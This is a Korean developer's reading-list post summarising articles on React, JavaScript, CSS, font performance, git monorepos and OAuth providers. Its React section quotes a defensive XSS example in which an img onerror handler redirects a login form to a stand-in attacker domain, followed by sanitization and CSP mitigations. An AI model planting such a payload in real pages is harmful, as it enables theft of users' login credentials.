읽은 글들 (~24.12.31)
React
TIL: inline event handlers still fire when passed to React's dangerouslySetInnerHTML
dangerouslySetInnerHTML
의 위험성을 과소평가 했던 자신의 과거를 반성하며, 해당 prop 의 위험성을 경고하고 어떻게 안전하게 사용할 수 있는지에 대해 이야기하는 글.
본문에 나온 악의적인 코드 예시 중 하나.
const App = () => {
return (
<div
dangerouslySetInnerHTML={{
__html: `
<img src="x" onerror="document.getElementById('loginForm').action = 'https://bad-place-that-will-steal-your-info.com'">
`,
}}
></div>
);
};
글쓴이가 제안한 "안전하게 dangerouslySetInnerHTML을 사용할 수 있는 방법" 세 가지는 아래와 같다.
dangerouslySetInnerHTML
에 넣을 값을 안전하게 파싱해주는 라이브러리를 사용하자 (예, DOMPurify, sanitize-html)head
에 아래 태그를 추가하자<meta http-equiv="Content-Security-Policy" content="script-src 'self'" />
- 리스폰스 헤더에 아래 내용을 추가하자
Content-Security-Policy: "script-src 'self'";
MDN 에도 관련한 좋은 문서가 있다. Content Security Policy (CSP)
React Like a Pro: 10 Things I Regret Not Knowing Earlier
React 를 사용하는 개발자를 위한 10가지 팁을 소개하는 글. 이런 종류의 글들이 으레 그렇듯 이 글의 내용 또한 다른 곳에서 많이 보았을 법한 내용들과 겹치고, 또 어떤 내용들은 동의하지 못할 수도 있지만, 어찌되었건 전반적으로 좋은 내용이고 글도 길지 않으므로 리마인드 하기에는 좋다.
- Drastically Improve App Performance with the children Prop
- When to Use Refs vs. State
- Prefer Named Exports Over Default Exports
- Avoid useEffect at All Costs
- Understand React’s Lifecycle
- Track Silly Mistakes with ESLint
- Debug Smarter with React DevTools
- Use Error Boundaries to Avoid Total Crashes
- Organize Your Code Like a Pro
- The React Website Has Everything You Need
개인적으로 2, 4번은 React 초보 때 많이 했던 실수다 (지금도 종종 하려나..?)
JavaScript
Re-implementing JavaScript's ==
in JavaScript
자바스크립트의 ==
와 동일한 동작을 하는 함수를 만들어보는 글. ==
이 스펙 상 어떤 원칙으로 값을 비교하는지, 또 그것을 어떻게 구현할 수 있는지 볼 수 있 다. 결론: ===
를 사용하자.
Generating Random Mazes with JavaScript
자바스크립트로 랜덤 미로 생성기 (w/ animation) 를 만들어보는 글. 그래프 탐색을 응용한 방법으로 로직을 구현했는데 결과물이 재미있다. 해당 글에는 작성한 코드 중 일부분만 해설하고 있지만 코드 전문이 codepen 으로 공개되어 있어서 흥미가 있다면 읽어볼만 하다 (그렇게 길지 않다).
JavaScript Import Attributes (ES2025)
JSON 파일을 import 할 때 보안 이슈가 있을 수 있는데 (JSON 파일인 줄 알았는데 이름만 .json 이고 실제로는 악의적인 스크립트 였다던가), import 시에 해당 파일이 JSON 인지 스크립트인지 명시할 수 있는 기능이 내년에 표준이 될 거라고 한다. 이 경우 JSON 이라고 명시해서 import 했는데 JSON 이 아니면 에러가 발생할 것이라고 한다.
The web’s clipboard, and how it stores data of different types
브라우저 상에서 클립보드가 어떻게 데이터를 저장하고 어떻게 활용되는지에 관한 글. Google Docs 와 Figma 가 cut/copy/paste 를 어떻게 구현했는지에 대해서도 설명하는 등, 생각보다 상세하고 내용이 많아서 읽어볼만 하다.
- Clipboard API
- 브라우저에서 클립보드의 사용은 기본적으로 (사용자가 권한을 허용한다면) Clipboard API 를 사용해 가능하며, 해당 API 는 최소한 아래 세 유형의 데이터를 지원한다.
- text/plain
- text/html
- image/png
- 원래는 더 많은 데이터를 지원했지만 보안 상의 이유로 줄어들고 위 세 유형만 남았다.
- 브라우저에서 클립보드의 사용은 기본적으로 (사용자가 권한을 허용한다면) Clipboard API 를 사용해 가능하며, 해당 API 는 최소한 아래 세 유형의 데이터를 지원한다.
- Clipboard Events API
- Clipboard Event 는 cut/copy/paste 이벤트에 의해 트리거되는 이벤트다.
- 이 이벤트는 사용자의 액션에 의해 트리거되는 이벤트이므로 (사용자의 선택이므로) 신뢰할 수 있다고 판단, 위 세 유형 이외의 커스텀 데이터 (대표적으로 JSON) 들도 자유롭게 다룰 수 있다.
- Google Docs 의 경우
- Google Docs 는 컨텍스트 메뉴를 통해 cut/copy/paste 기능을 지원하는데, 아래 세 유형을 지원한다.
- text/plain
- text/html
- application/x-vnd.google-docs-document-slice-clip+wrapped
- 마지막 유형은 JSON 도 다룰 수 있다. 즉 Clipboard API 를 사용해서는 구현할 수 없다.
- 그래서 Google Docs 는 사용이 권장되지 않는, deprecated 된 API 인
execCommand
를 사용해 해당 기능을 구현했다. - 이 API 는 Clipboard Events 처럼 자유롭게 데이터를 다룰 수 있다.
- 붙여넣기의 경우에는
execCommand('paste')
를 (프라이버시 문제로) 그냥은 허용하지 않는 OS/브라우저가 있기 때문에 익스텐션 설치를 요구할 수도 있다.
- Google Docs 는 컨텍스트 메뉴를 통해 cut/copy/paste 기능을 지원하는데, 아래 세 유형을 지원한다.
- Figma 의 경우
- Figma 는 브라우저 상에서만 뿐만 아니라 자신들의 데스크탑 어플리케이션을 위해서도, 디자인 데이터들을 cut/copy/paste 할 수 있어야 한다. 하지만 그들이 지원하는 유형은 아래 두 유형 뿐이다.
- text/plain
- text/html
- 두 유형 중 text/html 을 사용해 cut/copy/paste 를 구현한다.
- cut/copy 할 때 빈 태그를 만들어 해당 태그들에 데이터를 Base64 인코딩해서 넣는다.
- paste 할 때는 해당 태그들에서 데이터를 꺼내 디코딩해서 사용한다.
- Figma 는 브라우저 상에서만 뿐만 아니라 자신들의 데스크탑 어플리케이션을 위해서도, 디자인 데이터들을 cut/copy/paste 할 수 있어야 한다. 하지만 그들이 지원하는 유형은 아래 두 유형 뿐이다.
이후에는 브라우저와 다른 어플리케이션 간에 클립보드를 사용해 데이터 전달 시 Custom 데이터를 어떻게 주고받을 수 잇는지에 대해 설명하긴 하지만, 아직은 표준화되지 않은 내용에 대해 다루기도 하고 (아직은) 그다지 흥미가 없으므로 굳이 요약하지는 않는다.
CSS
A Framework for Evaluating Browser Support
특정 CSS 속성에 대해 모든 브라우저가 지원하지 않을 경우, 우리는 적용 여부를 어떻게 판단하고 fallback 해야 할 것인가? 에 관한 글. 다소 일반론적이고 뻔하다고도 볼 수 있지만, (마지막에 저자 자신의 강의 광고로 끝맺음하는 것을 제외하면) 한 번 읽어보는 것도 나쁘지 않다.
- Fallback 경험: 지원하지 않는 브라우저에서 해당 속성이 어떻게 동작하는지를 확인해야 한다. 또한 지원하지 않을 경우 fallback 할 수 있으면 해줘야 한다.
- 브라우저 분포: 자신의 웹사이트 방문자들의 브라우저 비율을 확인해서, 지원하지 않는 사용자 비율을 파악해야 한다.
- 잠재적 피해: 제공하는 서비스의 성격에 따라, 지원하지 않았을 경우의 피해를 감당해도 되는지 잘 판단해야 한다. 개인 블로그는 누군가 글을 보지 못한다고 해서 큰 피해가 없지만, 공공 서비스는 누군가 서비스를 사용하지 못하는 것이 큰 피해일 수 있다.
왜 기본 Font Weight은 400인가?
- 산업 시대에 인쇄술의 발달로 여러 폰트가 등장, 처음에 는 이렇다할 시스템이 없었음
- The Frutiger numbering system: 1957년 Univers 폰트가 폰트의 굵기와 너비를 같이 지정하기 위해 두 자리 수를 도입 (1 ~ 109)
- 첫째 자리는 폰트 굵기를 의미
- 둘째 자리는 폰트 너비를 의미
- Linotype numbering system: 1997년 Linotype Univer 폰트가 폰트의 굵기, 너비 뿐만아니라 italic 도 표시하기 위해 세 자리 수를 도입 (0 ~ 901)
- 셋째 자리는 italic 여부를 의미
- 디지털 시대 폰트의 표준화: 숫자가 의미하는 바는 조금 바뀌었지만, 전통적인 방법을 따라 세 자리 수로 폰트 굵기를 표시
여담으로 100 보다 세밀한 단위로 font weight 을 적용할 수 있는 폰트도 있다. https://v-fonts.com/
12 Modern CSS One-Line Upgrades
유용한 최신 CSS 12가지를 소개하는 글. 이런 글을 볼 때마다 느끼는 건, 새로운 키워드를 접해두는 건 분명 도움이 되는 일이지만, 결국 사용하지 않으면 까먹는다는 것.. 여기 있는 속성들 중 몇몇은, 분명 본 적은 있는데 사용하질 않으니 볼 때마다 새롭다.
aspect-ratio
object-fit
margin-inline
text-underline-offset
outline-offset
scroll-margin-top
/scroll-margin-bottom
color-scheme
accent-color
width: fit-content
overscroll-behavior
(참고글: overscroll-behavior)text-wrap
scrollbar-gutter
(참고글: scrollbar-gutter 와 classic scrollbar 대응하기)
Frontend
(번역) 폰트 성능 최적화를 위한 궁극적인 가이드
웹에서의 폰트 적용 시 성능 최적화에 관한 글.
- 한 사이트에서 두 개 이상의 폰트 패밀리를 로드하지 마라 (흠.. 필요하면 어쩔 수 없는데..)
- 웹 폰트 공개 CDN 을 사용하지 말고 자체 호스팅을 하라
- 자체 호스팅 사용이 불가능하면 다운로드를 최적화하라. 예를 들면 필요한 서체 (특정 굵기, italic 적용/미적용 등등) 만 다운로드 할 수 있음
- WOFF2 포멧을 사용하라 (2번이 선행되어야 할 수 있음)
@font-face
를 잘 쓰자@font-face
선언은 폰트를 바로 다운로드 하지 않는다. font-family 에 해당 폰트를 적용해야 다운로드한다.- 상세한 사용 방법도 공유
- 일반적인 웹 성능 최적화도 잘 적용하자
글 내용이 상세하니 직접 읽어보면 더 좋다.
Smarter than 'Ctrl+F': Linking Directly to Web Page Content
구글 검색 결과를 통해 흔히 접할 수 있었던, 특정 웹페이지의 특정 구문을 하이라이팅 해주는 기능에 대한 글. 이게 (웬만한) 브라우저들의 기본 내장 기능이었다니.
(번역) 개발자를 위한 Chrome의 2024년 요약: DevTools의 AI, 내장된 Gemini, 새로운 UI 기능으로 웹의 가능성을 다시 정의하기
2024년에 Chrome 에 출시된 기능들을 정리한 글. AI 관련 기능이 먼저 눈에 띄고, 네이티브 앱과 같은 사용성을 제공하기 위한 새로운 CSS 지원 등도 흥미롭다. 정말 빨리 변하는구나 싶다.
- Gemini를 활용한 Chrome 내장 AI로 강력한 기능 제공
- Wasm 와 WebGPU 개선으로 온디바이스 AI 성능 향상
- View Transition API로 더 부드럽고 연결된 내비게이션 구현
- CSS 팝오버와 앵커 포지셔닝으로 자바스크립트 없이 상호작용 오버레이 구현
- Speculation Rules API로 거의 즉각적인 페이지 로드 구현
- Interaction to Next Paint(INP)가 새로운 Core Web Vital로 도입
- Autofill로 더 원활한 온라인 결제 제공
- AI 기반 솔루션으로 더욱 강력해진 Chrome DevTools
- Baseline 2024: 크로스 브라우저 웹 기능 지원
Etc
(번역) 자바스크립트 모노레포의 깃 용량을 94% 줄인 방법
170GB 였던 레파지토리 용량을 무려 5GB 까지 줄인 경험을 소개하는 글.
그들이 말하는 두 가지 원인을 간략히 이야기하면 아래와 같다.
- 한 디렉토리 내에 (하위 디렉토리 제외) 수천 개의 파일을 넣지 말자: 그렇게 하면 해당 디렉토리에 파일이 추가될 때마다 변경 사항 기록을 위한 큰 트리 객체가 생성된다.
- 파일 이름을 길게 하지 말자. 길게 하게 되면 좀 더 각별히 관심을 가지자: 파일 이름의 마지막 16자만 검사해서 변경 사항을 비교하기 때문에, 예상치 못한 변경 사항 비교가 생길 수 있다.
참고로 "16자"라고 언급하는데 반해 그들에게 문제가 된 파일들의 이름은 16자가 넘지를 않는데 (CHANGELOG.md, CHANGELOG.json), 원문글의 댓글에 가보니 아래와 같은 설명이 있었다.
It's about how the hashes are calculated. You can read Stolee's explanation here. https://lore.kernel.org/git/pull.1785.git.1725890210.gitgitgadget@gmail.com/?ref=jonathancreamer.com
Dear OAuth providers
잘못 설계된 OAuth 토큰을 제공하는 OAuth 제공자들에게 불만을 토로하는 글. GeekNews 요약도 있다.
여담으로 (외국인으로 보이는데) 유독 Naver 항목에서만 단어 선택이 매우 강렬하다.
Dear Naver
Your server, for whatever fucking reason, returns a string for the token expiration.